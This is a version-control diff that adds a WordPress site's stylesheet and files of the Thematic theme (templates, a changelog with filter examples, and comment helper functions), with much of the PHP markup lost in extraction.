1px 1px 1px; margin:0px 0px 17px 0px;} + .widget h2 { height:100%; overflow:hidden; font-weight: normal; border-bottom:1px solid #fff;} + .widget h2 { font-size:1.6em; color:#2e2d27; padding:16px 10px 9px 23px;} + + .widget ul { margin:0px 10px 0px 25px; color:#747474; font-size:1.2em; height:100%;} + .widget li { background:url(images/widget-marker01.gif) no-repeat 0 2px; padding:0px 0px 11px 14px;} + .widget a { color:#747474; font-size:12px; text-decoration:none; } + .widget a:hover { text-decoration:underline;} + + /*** widget_archive ***/ + .widget_archive { height:100%; overflow:hidden; width:100%; background:url(images/widget-bg02.gif) repeat-y 0 0 #f1f0e7; margin:0px 0px 5px 0px;} + .widget_archive .widget-bg { background:url(images/widget-bot02.gif) no-repeat 0 bottom; padding:0px 0px 30px 0px;} + + .widget_archive .title { height:100%; background:url(images/widget-title-top02.gif) no-repeat 0 0; padding:0px 1px 1px 1px; margin:0px 0px 10px 0px;} + .widget_archive h2 { height:100%; overflow:hidden; font-weight: normal; border-bottom:1px solid #dbdbd7;} + .widget_archive h2 { font-size:1.6em; color:#2e2d27; padding:16px 10px 9px 23px;} + + .widget_archive ul { margin:0px 26px 0px 25px; color:#2e2d27; font-size:1.2em; height:100%;} + .widget_archive li { background:url(images/widget-marker02.gif) no-repeat 0 9px; border-bottom:1px solid #ccccc8; padding:7px 0px 3px 14px;} + .widget_archive a { color:#2e2d27; font-size:12px; text-decoration:none; } + + + /*** widget_meta ***/ + .widget_meta { height:100%; overflow:hidden; width:100%; background:url(images/widget-bg.gif) repeat-y 0 0 #f1f0e7; margin:0px 0px 4px 0px;} + .widget_meta .widget-bg { background:url(images/widget-bot.gif) no-repeat 0 bottom; padding:0px 0px 17px 0px; overflow:hidden; height:100%;} + + .widget_meta .title { background:url(images/widget-bg.gif) repeat-y 0 0 #f1f0e7; height:100%; background: none; padding:0px 0px 1px 0px; margin:0px 0px 17px 0px;} + .widget_meta .title div { background:url(images/widget-title-top-meta.gif) no-repeat 0 0; border-bottom:1px solid #c0bfb9; padding:0px 1px 0px 1px;} + .widget_meta h2 { height:100%; overflow:hidden; font-weight: normal; border-bottom:1px solid #fff;} + .widget_meta h2 { font-size:1.6em; color:#2e2d27; padding:16px 10px 9px 22px;} + .widget_meta ul li { border:0;} + + /*** widget_right ***/ + .column-right .widget { background:url(images/widget-bg.gif) repeat-y 0 0 #fff;} + .column-right .widget h2 { border:0; padding:16px 10px 10px 23px;} + + .widget_latest_projects .projects { padding:6px 10px 0px 24px;} + .widget_latest_projects .projects p { padding:0px 0px 8px 0px;} + .widget_latest_projects .projects img { margin:0px 8px 0px 0px;} + + .widget_latest_projects .more { float:right; width:117px; height:24px; margin:1px 24px 4px 0px; _margin-right:12px; line-height:24px; background:url(images/widget-more.gif) no-repeat 0 0;} + .widget_latest_projects .more a { text-decoration:none; color:#2e2d27; padding:0px 0px 0px 14px;} + .widget_latest_projects .more a:hover { color:#bb3521;} + + /*** widget_recent_entries ***/ + + .widget_recent_entries {} + .widget_recent_entries .widget-bg { padding:0px 0px 7px 0px;} + + .widget_recent_entries li { background:url(images/widget-marker03.gif) no-repeat 0px 2px; padding:0px 22px 15px 24px; margin:0px 0px 13px 0px;} + .widget_recent_entries span { display:block; font-size:12px; font-weight: bold; color:#747474; padding:0px 0px 2px 0px;} + + .widget_recent_entries li a { font-size:14px; color:#2e2d27;} + + .widget_recent_entries .comments { font-weight: normal;} + .widget_recent_entries .comments a { color:#bb3521; font-size:14px; text-decoration:underline;} + .widget_recent_entries .comments a:hover { color:#bb3521; text-decoration:none;} + + + .widget_recent_entries .text { font-size:14px; color:#2e2d27; padding:1px 0px 3px 0px;} + + + + /*********/ + #search form { padding:0px 0px 0px 0px;} + #search form .text { margin:0px 6px 0px 20px;} + + .widget_calendar table { margin:0px 0px 0px 20px;} + + .widget_tag_cloud h2 { text-align:left;} + .widget_tag_cloud { text-align:center;} + .widget_tag_cloud a {text-align:center; padding:0px 4px 0px 4px;} + + .widget table a {} + + .widget_text h2 {} + .widget_text { background: none;} + .widget_text div {background: none;} + .widget_text .widget-bg {background: none;} + + .textwidget { padding:0px 0px 0px 20px;} + .textwidget {} + + +/*** Content ***/ + .column-center { overflow:hidden; height:100%; position:relative;} + + .column-center .bg-top { background:url(images/border.gif) repeat-x 0 0 #f1f0e7; height:100%; margin:0px 0px 4px 0px;} + .column-center .bg-bot { background:url(images/border.gif) repeat-x 0 bottom;} + .column-center .bg-left { background:url(images/border.gif) repeat-y 0 0;} + .column-center .bg-right { background:url(images/border.gif) repeat-y right 0;} + + .column-center .corner-left-top { background:url(images/corner-left-top.gif) no-repeat 0 0;} + .column-center .corner-right-top { background:url(images/corner-right-top.gif) no-repeat right 0;} + .column-center .corner-left-bot { background:url(images/corner-left-bot.gif) no-repeat 0 bottom;} + .column-center .corner-right-bot { background:url(images/corner-right-bot.gif) no-repeat right bottom; overflow:hidden; height:100%; padding:10px 1px 0px 1px;} + + .column-center .indent { overflow:hidden; height:100%; background:url(images/line.gif) repeat-x bottom; padding:0px 0px 16px 0px;} + + .column-center .title { overflow:hidden; height:100%; padding:13px 20px 8px 25px; border-bottom:1px solid #fff;} + + .column-center .title h2 { font-size:2em; font-weight: normal; color:#2e2d27; overflow:hidden; height:100%; padding:0px 0px 6px 0px;} + .column-center .title h3 { font-size:1.8em; font-weight: normal; color:#2e2d27; overflow:hidden; height:100%; padding:0px 0px 6px 0px;} + + .column-center .title h2 a, .column-center .title h3 a { color:#2e2d27; text-decoration:none;} + .column-center .title h2 a:hover, .column-center .title h3 a:hover { text-decoration: underline;} + + .column-center .title .author { font-size: 1.2em; color:#bb3521; padding:0px 0px 3px 0px;} + .column-center .title .date { font-size: 1.2em; color:#bb3521; padding:0px 0px 0px 0px; } + + .title-page {padding:13px 20px 8px 25px;} + .title-page * { font-size:1.8em; font-weight: normal; color:#2e2d27; padding:0px 0px 6px 0px;} + + + + .text-box { clear:both; font-size:1.2em; overflow:hidden; height:100%; line-height:1.5em; padding:12px 18px 0px 25px; border-top:1px solid #c0bfb9;} + + .text-box p { padding:0px 0px 14px 0px;} + .text-box p span { color:#747474;} + + .text-box .img { margin:-80px 0px 0px 0px;} + + .text-box .line { height:1px; background:url(images/line.gif) repeat-x 0 0; overflow:hidden; margin:1px 0px 16px 0px;} + .text-box .more-link { padding:5px 25px 0px 0px;} + .text-box .more-link a { float:right; text-indent:-1000em; overflow:hidden; width:148px; height:18px; background:url(images/more.gif) no-repeat 0 0;} + + .text-box .fleft { padding:0px 0px 0px 0px; display: inline;} + .text-box .fleft img { float:left; direction: inherit; margin:4px 20px 4px 0px;} + + .text-box .fright { padding:0px 0px 0px 0px; display: inline;} + .text-box .fright img { float:right; direction: inherit; margin:4px 2px 4px 20px;} + + .column-center .border-bottom { border-bottom:0; padding-bottom:0px;} + + /*** ***/ + .column-center .comments { float:left; width:40px; height:29px; line-height:24px; margin:-10px 15px 0px 25px; _margin-left:12px; background:url(images/date.gif) no-repeat 0 0; text-align:center;} + .column-center .comments a { text-decoration:none; color:#fff; font-size:1.8em;} + .column-center .comments a:hover { text-decoration:underline; color:#fff;} + + .more-link { float:left; overflow:hidden; margin:-3px 0px 0px 0px;} + .more-link a { font-size:1.2em; color:#bb3521; background:url(images/marker.gif) no-repeat right 2px; padding:0px 12px 0px 0px;} + + .link-edit a, .navigation a { font-size:1.2em; color:#2e2d27;} + + .link-edit { clear:both; padding:10px 25px 5px 25px;} + .navigation { clear:both; padding:10px 25px 5px 25px;} + .navigation a { text-decoration:none;} + .navigation a:hover { text-decoration:underline;} + + /*******/ + .text-box h1 { font-family:Arial; font-size:1.8em; line-height:1.2em; font-weight: normal; color:#000;} + .text-box h2 { font-family:Arial; font-size:1.7em; line-height:1.2em; font-weight: normal; color:#000;} + .text-box h3 { font-family:Arial; font-size:1.4em; line-height:1.2em; color:#000;} + .text-box h4 { font-family:Arial; font-size:1.3em; line-height:1.2em; color:#000;} + .text-box h5 { font-family:Arial; font-size:1.2em; line-height:1.2em; color:#000;} + +/*** OL UL style***/ + .text-box ul { padding:2px 0px 5px 2px;} + .text-box ul li { background:url(images/marker.gif) no-repeat 0 5px; padding:0px 0px 4px 20px; list-style-image:none; list-style:none; font-weight:normal;} + .text-box ul li ul { margin-left:10px;} + .text-box ul li ol { margin-left:15px;} + .text-box ul li ol li { list-style-type:decimal;} + + .text-box ol { padding-left:2px;} + .text-box ol li { /*background:none;*/ padding:0px; margin-left:13px; font-weight:normal;list-style-type:decimal;} + .text-box ol li ul { padding:2px 0px 5px 2px;} + .text-box ol li ul li { font-weight:normal; background:url(images/marker.gif) no-repeat 0 5px; padding:3px 0px 9px 20px;} + + .text-box ul li { list-style-image:none; list-style:none;} + .text-box ul li a {} + .text-box ul li a:hover {} + .text-box ul li ul { margin-left:15px;} + .text-box ul li ol {margin-left:20px;} + .text-box ul li ol li { list-style-type:decimal;background:none;} + .text-box ul li ol li a { /*background:none;*/} + + .text-box ol { padding:5px 0px 5px 2px;} + .text-box ol li{ /*background:none;*/ padding:0px; margin-left:20px;} + .text-box ol li a { padding-left:0px; text-decoration:none; font-weight:normal;} + .text-box ol li a:hover{ text-decoration:underline; } + .text-box ol li ul li a { font-weight:normal; text-decoration:underline;} + .text-box ol li ul li a:hover {text-decoration:none;} + +/*** Footer ****/ + .footer { clear:both; overflow:hidden; height:100%; font-size:1.4em; background:#b7b6ae; border-top:1px solid #fff; color:#2e2d27; overflow:hidden; line-height:1.4em;} + .footer-width { width:906px; margin:0 auto;} + .footer .indent { overflow:hidden; text-align:right; padding:11px 0px 23px 0px;} + .footer a { color:#2e2d27; text-decoration:none;} + .footer a:hover { text-decoration: underline;} + + +/* ----------------------------------------------------------------- +---------------------------- WP ------------------------------------ +----------------------------------------------------------------- */ + + .info-sidebar { padding:10px 20px 20px 0px; width: auto; color:#000; overflow: hidden; font-size:1.2em; line-height:1.4em;} + .info-sidebar a { text-transform:none;} + + .pagetitle { font-size:2.1em; font-weight: normal; overflow:hidden; color: #000; text-align:center; padding:10px 0px 0px 0px;/* margin:0px 0px -20px 0px;*/} + +/*--- Navigations ---*/ + .navigation { padding:10px 25px 5px 25px; clear:both; /*height:100%;*/ /*overflow:hidden; */} + .navigation .alignleft { float: left; width:45%; text-align:left; padding:0px 0px 0px 0px;} + .navigation .alignright { float: right; width:45%; text-align:right; padding:0px 0px 0px 0px;} + + .pd-nav { padding:0; margin:0;} + .pd-nav .alignleft { padding:0; margin:0;} + .pd-nav .alignright { padding:0; margin:0;} + + .pd-title {padding-bottom:0;} + + .marg { margin-bottom:10px;} + +/*--- Begin Images ---*/ + p img { + padding: 0; + max-width: 100%;} + + img.centered { + display: block; + margin-left: auto; + margin-right: auto;} + + img.alignright { float: right;display:inline; + padding: 0; + margin: 3px 0px 10px 20px;} + + img.alignleft { padding: 0; margin: 3px 25px 5px 0; float:left; display:inline;} + +/*------*/ + .postmetadata { font-size:1.2em; clear:both; padding:12px 0px 20px 25px;} + .postmetadata a {/*color:#3B7ECC;*/} + .postmetadata a:hover {text-decoration:none;} + + /*------*/ + #tag_cloud .widget-bottom-left {padding-bottom:15px;} + #tag_cloud .widget-heading {margin-bottom:15px;} + #tag_cloud a {padding-left:3px;} + + /*--- Popup styles ---*/ + #commentspopup {} + #commentspopup #header {background:#2F3F99 url(images/popup_header_bg.gif) top repeat-x;} + #commentspopup .page-padding {padding:0 5px;} + #commentspopup .page-width {width:538px; margin:0 auto;} + #commentspopup .header-top {background:url(images/popup_header_bg_top.jpg) top repeat-x;} + #commentspopup .header-top-right {background:url(images/popup_header_bg_top_right.jpg) top right no-repeat;} + #commentspopup .header-top-left {background:url(images/popup_header_bg_top_left.jpg) top left no-repeat; width:100%; height:160px;} + #commentspopup .header-padding {padding:39px 0 0 89px;} + #commentspopup h1 {font-size:1em; margin:0; padding:0; color:#E1E7EC; text-indent:-10000em; width:141px; height:27px;} + #commentspopup h1:hover {text-decoration: none; cursor:pointer;} + #commentspopup .description {width:141px; height:9px; text-indent:-10000em; margin-top:2px;} + #commentspopup .description2 {width:249px; height:27px; text-indent:-10000em; margin-top:19px;} + #commentspopup .border-bottom-left {padding:17px 37px 10px;} + #commentspopup p {font-size:12px;} + + +/*--- Begin Typography & Colors ---*/ + small { font-size: 1em; padding:0px 0px 0px 0px; margin:0px 0px 0px 0px;} + small * {font-size: 0.9em;} + small p {font-size: 0.9em;} + + select { width: 130px;} + + #commentform {font-size:1.2em;} + + #commentform input { + margin: 5px 5px 1px 0;} + + #commentform { + margin: 5px 10px 0 0;} + + #commentform textarea { + width: 100%; + padding: 2px;} + + #respond:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden;} + + #commentform #submit { + margin: 0 0 10px auto; + float: right;} + + #respond p { padding:0px 0px 10px 0px; text-indent:0;} + #respond form p { padding:0px 0px 10px 0px; text-indent:0;} + +/*--- Begin Calendar ---*/ + #wp-calendar { empty-cells:show; width: 155px; font-size:1.1em;} + + #wp-calendar th { padding:3px 0; text-align:center; color:#000;} + #wp-calendar td { padding:3px 0; text-align:center; color:#000;} + + #wp-calendar a { display: block; font-weight:bold;} + #wp-calendar #next a { padding-right: 10px; text-align: right; font-weight: normal;} + #wp-calendar #prev a { padding-left: 10px;text-align: left; font-weight: normal;} + + #wp-calendar caption { text-align: center; color:#000; font-weight:bold; font-size:1.3em; padding:0px 0px 6px 0px;} + + .widget-bot #wp-calendar * { color:#fff;} + + +/* Begin Various Tags & Classes */ + acronym, abbr, span.caps { + cursor: help; + } + + acronym, abbr { + border-bottom:1px dashed #999; + } + + blockquote { + border:1px solid #d3d3bf; + background:#c8c3a8; padding:15px 10px 10px 20px; margin:5px 0; color:#000; + } + + blockquote cite { + margin: 5px 0 0; + display: block; + } + + +/* Captions */ + .aligncenter, + div.aligncenter { + display: block; + margin-left: auto; + margin-right: auto;} + + .wp-caption { + border: 1px solid #ddd; + text-align: center; + background-color: #f3f3f3; + padding-top: 4px; + margin: 10px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px;} + + .wp-caption img { + margin: 0; + padding: 0; + border: 0 none;} + + .wp-caption p.wp-caption-text { + font-size: 11px; + line-height: 17px; + padding: 0 4px 5px; + margin: 0;} + + +/* Begin Comments*/ + .alt { padding: 10px; font-size:1.2em; padding:0px 20px 0px 25px;} + + .commentlist {/* font-size:1.2em;*/ color:#000; + /*padding:0px 18px 0px 20px;*/ + text-align: justify; + } + .commentlist a { color:#757575} + .commentlist span { color:#212121;} + + ol.commentlist li { list-style: none; font-size:12px; + margin:6px 0px 6px 0px; + padding: 5px 10px 3px; + /*list-style: none;*/ + border:1px solid #d3d3bf; + background:#c8c3a8; + } + + .commentlist li .avatar { + float: right; + border: 1px solid #eee; + padding: 2px; + background: #fff; /*margin:0px 20px 15px 0px;*/ + } + + .commentlist p { color:#000; + margin: 10px 5px 10px 0; + } + + #commentform p { + margin: 5px 0; + padding-left:15px; + } + + .nocomments { + text-align: center; + margin: 0; + padding: 0; + } + + .commentmetadata { + margin: 0; + display: block; + } \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,41 @@ + + +
    +
    + +
    + + + +
    + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ + + +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,70 @@ + + +
    +
    + + + +
    + + + +
    + + ',''); + + ?> + +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/attachment.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/attachment.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,74 @@ + + +
    +
    + + + +
    + + + +
    +
    post_ID, true) ?>
    + + ' .__('Pages:', 'thematic') . '&after=
    '); + + ?> + +
    + + + +
    + + + +
    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/author.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/author.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,80 @@ + + +
    +
    + + + +
    +

    first_name; ?> last_name; ?>

    + + + +
    + user_description) ) : echo apply_filters('archive_meta', $authordata->user_description); endif; ?> + +
    + +
    + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/category.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/category.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,50 @@ + + +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/changelog.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/changelog.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,301 @@ +

    What's new in Thematic 0.9.6.2

    + +
      + +
    • Fixed:

      +
        +
      • Fixed a bug in page.php not loading thematic_comments_template()
      • + +
      • Fixed missing gettext in comments-extensions.php
      • + +
      • Fixed French, German, Italian, Romanian, and Spanish language files
      • +
      +
    • +
    + +

    What's new in Thematic 0.9.6.1

    + + +
      + +
    • Added two new hooks:

      +
        + +
      • thematic_abovecontainer()
      • +
      • thematic_belowcontainer()
      • +
      +
    • + +
    • Thematic prevents the creation of the WordPress Generator. This can be filtered using a filter for thematic_hide_generators. Return TRUE and the WordPress Generator will be created.

    • + +
    • Added some filters to comments.php:

      +
        + +
      • The standard text 'One Comment' can be filtered using thematic_singlecomment_text.
      • + +
      • The standard text 'n Comments' can be filtered using thematic_multiplecomments_text.
      • + +
      • The standard text 'Post a Comment' can be filtered using thematic_postcomment_text.
      • + +
      • The standard text 'Post a Reply to %s' can be filtered using thematic_postreply_text.
      • + +
      • The standard text 'Comment' for the text box can be filtered using thematic_commentbox_text.
      • + +
      • The standard text 'Post Comment' for the send button can be filtered using thematic_commentbutton_text.
      • + +
      +
    • + +
    • Split up thematic_postheader() and thematic_postfooter() into sub-functions. With these new functions it is easier to rearrange the displayed data.

      + +
        +
      • thematic_postheader()
      • + +
      • thematic_postheader_posttitle()
      • + +
      • thematic_postheader_postmeta()
      • +
      + +
        +
      • thematic_postmeta_authorlink()
      • + +
      • thematic_postmeta_entrydate()
      • + +
      • thematic_postmeta_editlink()
      • +
      + +
        +
      • thematic_postfooter()
      • + +
      • thematic_postfooter_posteditlink()
      • + +
      • thematic_postfooter_postcategory()
      • + +
      • thematic_postfooter_posttags()
      • + +
      • thematic_postfooter_postconnect()
      • + +
      • thematic_postfooter_postcomments()
      • +
      +
    • + +
    • The several parts of the body class can be switched off using the following filters:

      +
        +
      • thematic_show_bodyclass (master switch)
      • + +
      • thematic_show_bc_wordpress
      • + +
      • thematic_show_bc_datetime
      • + +
      • thematic_show_bc_contenttype
      • + +
      • thematic_show_bc_singular
      • + +
      • thematic_show_bc_singlepost
      • + +
      • thematic_show_bc_authorarchives
      • + +
      • thematic_show_bc_categoryarchives
      • + +
      • thematic_show_bc_tagarchives
      • + +
      • thematic_show_bc_pages
      • + +
      • thematic_show_bc_search
      • + +
      • thematic_show_bc_loggedin
      • + +
      • thematic_show_bc_browser
      • +
      + +
    • + + +
    • <head profile="http://gmpg.org/xfn/11"> can be filtered using thematic_head_profile.

    • + + +
    • Complete rewrite of the widget areas:

      + +

      The widget areas are now controlled by the $thematic_widgetized_areas array. This is the basic layout:

      +
      +$thematic_widgetized_areas = array(
      +
      +               'Primary Aside' => array(
      +
      +                               'admin_menu_order' => 100,
      +
      +                               'args' => array (
      +
      +                                               'name' => 'Primary Aside',
      +
      +                                               'id' => 'primary-aside',
      +
      +                                               'description' => __('The primary widget area, most often used as a sidebar.', 'thematic'),
      +
      +                                               'before_widget' => thematic_before_widget(),
      +
      +                                               'after_widget' => thematic_after_widget(),
      +
      +                                               'before_title' => thematic_before_title(),
      +
      +                                               'after_title' => thematic_after_title(),
      +
      +                                               ),
      +
      +                               'action_hook'    => 'widget_area_primary_aside',
      +
      +                               'function'                            => 'thematic_primary_aside',
      +
      +                               'priority'                              => 10,
      +
      +                               ),
      +
      +               )
      +	
      + +

      Using this array you can remove unnecessary widget areas with a filter before these are created:

      +
      +function remove_widget_area($content) {
      +
      +         unset($content['Primary Aside']);
      +
      +         return $content;
      +
      +}
      +
      +add_filter('thematic_widgetized_areas', 'remove_widget_area');
      +	
      + +

      Note: This will completely remove a widget area. Do not use this functionality with conditional tags to remove a widget area from a certain page / post.

      + +

      A widget area can be renamed:

      + +
      +function rename_widget_area($content) {
      +
      +         $content['Primary Aside']['args']['name'] = 'My first Sidebar';
      +
      +         return $content;
      +
      +}
      +
      +add_filter('thematic_widgetized_areas', 'rename_widget_area');
      +	
      + +

      Display a widget area based on a conditional tag:

      +
      +// First we create a new function to display the secondary aside only on pages:
      +
      +function childtheme_secondary_aside() {
      +
      +         if (is_page()) {
      +
      +                 if (is_sidebar_active('secondary-aside')) {
      +
      +                          echo thematic_before_widget_area('secondary-aside');
      +
      +                          dynamic_sidebar('secondary-aside');
      +
      +                          echo thematic_after_widget_area('secondary-aside');
      +
      +                 }
      +
      +         }
      +
      +}
      +
      +// ... and then ... without removing an action or so:
      +
      +function change_secondary_aside($content) {
      +
      +         $content['Secondary Aside']['function'] = 'childtheme_secondary_aside';
      +
      +         return $content;
      +
      +}
      +
      +add_filter('thematic_widgetized_areas','change_secondary_aside');
      +
      + +

      Create several widget areas that will be displayed on a certain position based on conditional tags:

      + +
      +function change_secondary_aside($content) {
      +
      +         $content['Secondary Aside']['function'] = 'childtheme_secondary_aside';
      +
      +         $content['Secondary Aside Pages'] = array(
      +
      +                 'admin_menu_order' => 201,
      +
      +                 'args' => array (
      +
      +                          'name' => 'Secondary Aside Pages',
      +
      +                          'id' => 'secondary-aside-pages',
      +
      +                          'description' => __('The secondary widget area for pages.', 'childtheme'),
      +
      +                          'before_widget' => thematic_before_widget(),
      +
      +                          'after_widget' => thematic_after_widget(),
      +
      +                          'before_title' => thematic_before_title(),
      +
      +                          'after_title' => thematic_after_title(),
      +
      +                 ),
      +
      +                 'action_hook'    => 'thematic_secondary_aside',
      +
      +                 'function'                => 'childtheme_secondary_aside',
      +
      +                 'priority'                => 10,
      +
      +         );
      +
      + 
      +
      +         return $content;
      +
      +}
      +
      +add_filter('thematic_widgetized_areas','change_secondary_aside');
      +
      + 
      +
      +function childtheme_secondary_aside() {
      +
      +         if (is_sidebar_active('secondary-aside') && is_sidebar_active('secondary-aside-pages')) {
      +
      +                 echo thematic_before_widget_area('secondary-aside');
      +
      +                 if (is_page()) {
      +
      +                          dynamic_sidebar('secondary-aside-pages');
      +
      +                 } else {
      +
      +                          dynamic_sidebar('secondary-aside');
      +
      +                 }
      +
      +                 echo thematic_after_widget_area('secondary-aside');
      +
      +         }
      +
      +}
      +	
      + + + +
    • Fixed:

      +
        +
      • Fixed a bug in thematic_page_title() not displaying a correct title in attachement.php
      • + +
      • Fixed the widget area 'Index Insert'.
      • + +
      • Fixed a bug in thematic_create_robots().
      • +
      +
    • +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,135 @@ + +
    +post_password) ) : + if ( $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password ) : +?> +
    +
    + + + + + + + + + + +
    +

    1 ? __(thematic_multiplecomments_text(), 'thematic') : __(thematic_singlecomment_text(), 'thematic'), $comment_count) ?>

    + +
      + +
    + +
    + +
    + +
    + + + + + + + + + +
    +

    1 ? __('%d Trackbacks', 'thematic') : __('One Trackback', 'thematic'), $ping_count) ?>

    + +
      + +
    + +
    + + + + + + +comment_status ) : ?> +
    +

    + +
    + + +

    logged in to post a comment.', 'thematic'), + get_option('siteurl') . '/wp-login.php?redirect_to=' . get_permalink() ) ?>

    + + +
    + + + +
    + + +

    Logged in as %2$s. Log out?', 'thematic'), + get_option('siteurl') . '/wp-admin/profile.php', + wp_specialchars($user_identity, true), + wp_logout_url(get_permalink()) ) ?>

    + + + +

    never published nor shared.', 'thematic') ?> *', 'thematic') ?>

    + +
    +
    *', 'thematic') ?>
    +
    +
    + +
    +
    *', 'thematic') ?>
    +
    +
    + +
    +
    +
    +
    + + + +
    +
    +
    +
    + +
    +

    HTML tags and attributes:', 'thematic') ?>

    +
    + + ID); ?> + +
    + + + +
    + + + +
    + + +
    +comment_status ) */ ?> + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,94 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,90 @@ +\n"; + + // Creating the head profile + thematic_head_profile(); + + // Creating the doc title + thematic_doctitle(); + + // Creating the content type + thematic_create_contenttype(); + + // Creating the description + thematic_show_description(); + + // Creating the robots tags + thematic_show_robots(); + + // Creating the canonical URL + thematic_canonical_url(); + + // Loading the stylesheet + thematic_create_stylesheet(); + + // Creating the internal RSS links + thematic_show_rss(); + + // Creating the comments RSS links + thematic_show_commentsrss(); + + // Creating the pingback adress + thematic_show_pingback(); + + // Enables comment threading + thematic_show_commentreply(); + + // Calling WordPress' header action hook + wp_head(); + +?> + + + + + + + + + +
    + + + + + + + +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,53 @@ + + +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/comments-extensions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/comments-extensions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,149 @@ +One Comment', 'thematic'); + return apply_filters(thematic_singlecomment_text, $content); +} + +// Located in comments.php +// Creates the standard text for more than one comment +function thematic_multiplecomments_text() { + $content = __('%d Comments', 'thematic'); + return apply_filters(thematic_multiplecomments_text, $content); +} + +// creates the list comments arguments +function list_comments_arg() { + $content = 'type=comment&callback=thematic_comments'; + return apply_filters('list_comments_arg', $content); +} + +// Located in comments.php +// Creates the standard text 'Post a Comment' +function thematic_postcomment_text() { + $content = __('Post a Comment', 'thematic'); + return apply_filters(thematic_postcomment_text, $content); +} + +// Located in comments.php +// Creates the standard text 'Post a Reply to %s' +function thematic_postreply_text() { + $content = __('Post a Reply to %s', 'thematic'); + return apply_filters(thematic_postreply_text, $content); +} + +// Located in comments.php +// Creates the standard text 'Comment' for the text box +function thematic_commentbox_text() { + $content = __('Comment', 'thematic'); + return apply_filters(thematic_commentbox_text, $content); +} + +// Located in comments.php +// Creates the standard text 'Post Comment' for the send button +function thematic_commentbutton_text() { + $content = __('Post Comment', 'thematic'); + return apply_filters(thematic_commentbutton_text, $content); +} + +// Produces an avatar image with the hCard-compliant photo class +function thematic_commenter_link() { + $commenter = get_comment_author_link(); + if ( ereg( ']* class=[^>]+>', $commenter ) ) { + $commenter = ereg_replace( '(]* class=[\'"]?)', '\\1url ' , $commenter ); + } else { + $commenter = ereg_replace( '(' . $commenter . ''; +} // end thematic_commenter_link + + +// A hook for the standard comments template +function thematic_comments_template() { + do_action('thematic_comments_template'); +} // end thematic_comments + + + // The standard comments template is injected into thematic_comments_template() by default + function thematic_include_comments() { + comments_template('', true); + } // end thematic_include_comments + + add_action('thematic_comments_template','thematic_include_comments',5); + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/content-extensions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/content-extensions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,804 @@ +« '; + $content .= get_the_title($post->post_parent); + $content .= ''; + } elseif (is_author()) { + $content .= '

    '; + $author = get_the_author(); + $content .= __('Author Archives: ', 'thematic'); + $content .= ''; + $content .= $author; + $content .= '

    '; + } elseif (is_category()) { + $content .= '

